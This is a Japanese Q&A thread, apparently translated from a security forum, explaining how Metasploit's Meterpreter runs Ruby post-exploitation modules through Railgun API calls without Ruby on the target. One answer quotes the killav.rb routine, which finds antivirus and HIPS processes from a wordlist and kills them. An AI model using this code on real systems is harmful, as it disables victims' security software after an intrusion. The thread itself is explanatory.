web-dev-qa-db-ja.com

Meterpreterはどのようにモジュールをロードしますか?

Meterpreterをしばらく使用していますが、まだそれはまだ慣れていません。質問の1つは、モジュールの読み込みがどのように機能するかです。

Metasploitの使用方法をまだ学習しているので間違っている場合は修正してください。ただし、私の知る限り、killav.rbなどのMeterpreterにロードできるモジュールはRubyで記述されています。このモジュールはMeterpreterにロードされて実行されることになっています。

Rubyインタプリタがシステムに存在しない場合、Rubyスクリプトはどのように実行されますか?質問が基本的なように聞こえる場合、または私が知っていることが間違っている場合、申し訳ありませんMetasploitを使い始めたばかりです。

6
eclipse

基本的な理解から始めましょう。meterpreterを入手したら、エクスプロイト後のアクティビティを実行するmetasploitのモジュールにアクセスできます。ここで、開始するすべてのアクティビティでkillav.rbを実行します。このファイルのコードは、あなたが持っているmetasploit meterpreterモジュールと相互作用しており、RailGunを使用しています。 Railgunは、Windows Meterpreter専用の非常に強力なポストエクスプロイト機能です。これにより、ターゲットマシンのWindows APIを完全に制御できます。命令をターゲットシステムに渡します。 killav.rbのコードを説明します

 def run
    avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists',
                                  '***av_hips_executables.txt***')).strip
    avs = Set.new(avs.split("\n"))

    processes_found = 0
    processes_killed = 0
    client.sys.process.get_processes().each do |x|
      next if skip_process_name?(x['name'].downcase)
      vprint_status("Checking #{x['name'].downcase} ...")
      if avs.include?(x['name'].downcase)
        processes_found += 1
        print_status("Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...")
        begin
          client.sys.process.kill(x['pid'])
          processes_killed += 1
          print_good("#{x['name']} terminated.")
        rescue Rex::Post::Meterpreter::RequestError
          print_error("Failed to terminate '#{x['name']}' (PID: #{x['pid']}).")
        end
      end
    end

Av_hips_executables.txtに気付いた場合

(注:このファイルはmetasploitアプリの場所/usr/share/metasploit-framework/data/wordlists/av_hips_executables.txtにもあります)

そのファイルには、実行中のアンチウイルスに関連付けられているすべての既知の実行可能ファイルのリストが含まれています。その後のコードは、PIDを検出してPIDを強制終了するためのものです。そして、すべてがmeterpreter APIを介して渡されるためです。 Rubyがあるかどうかに関係なく、クライアント側には依存しません。

2
Dhruv Shah

このコードは実際にはリモートホストで実行されません。 Rubyモジュールはお使いのマシンで実行され、Metasploit apiを使用して反対側でコードを実行します。Metasploitapiには、rpc呼び出し(railgunと呼ばれる)としてマップされた多くのWindows APIがあります。 cppには、Rubyコンポーネントまたは埋め込みはありません。詳細については、こちらをご覧ください: Railgun for Windowsポストエクスプロイトの使用方法

3
Jonathan Allon